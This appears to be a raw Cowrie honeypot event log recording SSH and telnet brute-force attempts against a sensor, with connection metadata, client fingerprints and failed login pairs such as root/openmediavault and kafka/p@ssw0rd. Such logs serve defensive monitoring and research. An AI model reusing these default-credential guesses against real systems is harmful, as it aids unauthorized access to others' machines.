{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45152,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ea94827937","protocol":"telnet","message":"New connection: 152.42.224.71:45152 (10.17.0.5:23) [session: 07ea94827937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:53.170800Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":55982,"dst_ip":"159.203.135.109","dst_port":22,"session":"4483024a14e4","protocol":"ssh","message":"New connection: 45.156.87.69:55982 (159.203.135.109:22) [session: 4483024a14e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:53.433960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:53.469138Z","src_ip":"45.156.87.69","session":"4483024a14e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:53.779977Z","src_ip":"45.156.87.69","session":"4483024a14e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openmediavault","message":"login attempt [root/openmediavault] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:54.596422Z","src_ip":"45.156.87.69","session":"4483024a14e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:55.829442Z","src_ip":"45.156.87.69","session":"4483024a14e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":31520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad830eddc345","protocol":"ssh","message":"New connection: 45.156.87.69:31520 (159.203.135.109:22) [session: ad830eddc345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:57.462988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:57.467523Z","src_ip":"45.156.87.69","session":"ad830eddc345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:57.564344Z","src_ip":"45.156.87.69","session":"ad830eddc345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"p@ssw0rd","message":"login attempt [kafka/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:58.201447Z","src_ip":"45.156.87.69","session":"ad830eddc345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:59.286855Z","src_ip":"45.156.87.69","session":"ad830eddc345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.178740978240967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:00.933796Z","src_ip":"152.42.224.71","session":"e8213bff2ea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":31530,"dst_ip":"159.203.135.109","dst_port":22,"session":"311526773661","protocol":"ssh","message":"New connection: 45.156.87.69:31530 (159.203.135.109:22) [session: 311526773661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:00.997630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:01.023050Z","src_ip":"45.156.87.69","session":"311526773661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:01.106950Z","src_ip":"45.156.87.69","session":"311526773661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iptv","password":"iptv","message":"login attempt [iptv/iptv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:02.768605Z","src_ip":"45.156.87.69","session":"311526773661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":31546,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a47db30d445","protocol":"ssh","message":"New connection: 45.156.87.69:31546 (159.203.135.109:22) [session: 9a47db30d445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:04.703601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:04.939306Z","src_ip":"45.156.87.69","session":"9a47db30d445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:04.943389Z","src_ip":"45.156.87.69","session":"9a47db30d445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:04.986995Z","src_ip":"45.156.87.69","session":"311526773661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.60.238.225","src_port":41454,"dst_ip":"159.203.135.109","dst_port":23,"session":"327f5522307b","protocol":"telnet","message":"New connection: 81.60.238.225:41454 (159.203.135.109:23) [session: 327f5522307b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:05.365557Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123","message":"login attempt [jenkins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:06.377142Z","src_ip":"45.156.87.69","session":"9a47db30d445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:07.526412Z","src_ip":"45.156.87.69","session":"9a47db30d445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":11842,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e545bb0c8ce","protocol":"ssh","message":"New connection: 45.156.87.69:11842 (159.203.135.109:22) [session: 6e545bb0c8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:08.557178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:08.674946Z","src_ip":"45.156.87.69","session":"6e545bb0c8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:08.679018Z","src_ip":"45.156.87.69","session":"6e545bb0c8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:09.427852Z","src_ip":"45.156.87.69","session":"6e545bb0c8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":52772,"dst_ip":"10.17.0.5","dst_port":22,"session":"923dcef05cd3","protocol":"ssh","message":"New connection: 77.94.47.83:52772 (10.17.0.5:22) [session: 923dcef05cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:09.949714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:09.954819Z","src_ip":"77.94.47.83","session":"923dcef05cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:10.519332Z","src_ip":"45.156.87.69","session":"6e545bb0c8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":11858,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff4acc0c982e","protocol":"ssh","message":"New connection: 45.156.87.69:11858 (159.203.135.109:22) [session: ff4acc0c982e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:12.661482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:12.695381Z","src_ip":"45.156.87.69","session":"ff4acc0c982e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:12.790509Z","src_ip":"45.156.87.69","session":"ff4acc0c982e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:13.112674Z","src_ip":"77.94.47.83","session":"923dcef05cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"p@ssw0rd","message":"login attempt [weblogic/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:13.308861Z","src_ip":"45.156.87.69","session":"ff4acc0c982e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!qaz","message":"login attempt [root/1qaz!qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:14.234314Z","src_ip":"77.94.47.83","session":"923dcef05cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:14.394148Z","src_ip":"45.156.87.69","session":"ff4acc0c982e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:15.713843Z","src_ip":"77.94.47.83","session":"923dcef05cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16036,"dst_ip":"159.203.135.109","dst_port":22,"session":"896c89cf09f5","protocol":"ssh","message":"New connection: 45.156.87.69:16036 (159.203.135.109:22) [session: 896c89cf09f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:16.247484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:16.263286Z","src_ip":"45.156.87.69","session":"896c89cf09f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43944,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e01efd1bd3","protocol":"telnet","message":"New connection: 152.42.224.71:43944 (10.17.0.5:23) [session: a3e01efd1bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:16.383706Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:16.388717Z","src_ip":"45.156.87.69","session":"896c89cf09f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:17.292086Z","src_ip":"45.156.87.69","session":"896c89cf09f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:18.516415Z","src_ip":"45.156.87.69","session":"896c89cf09f5","protocol":"ssh"}
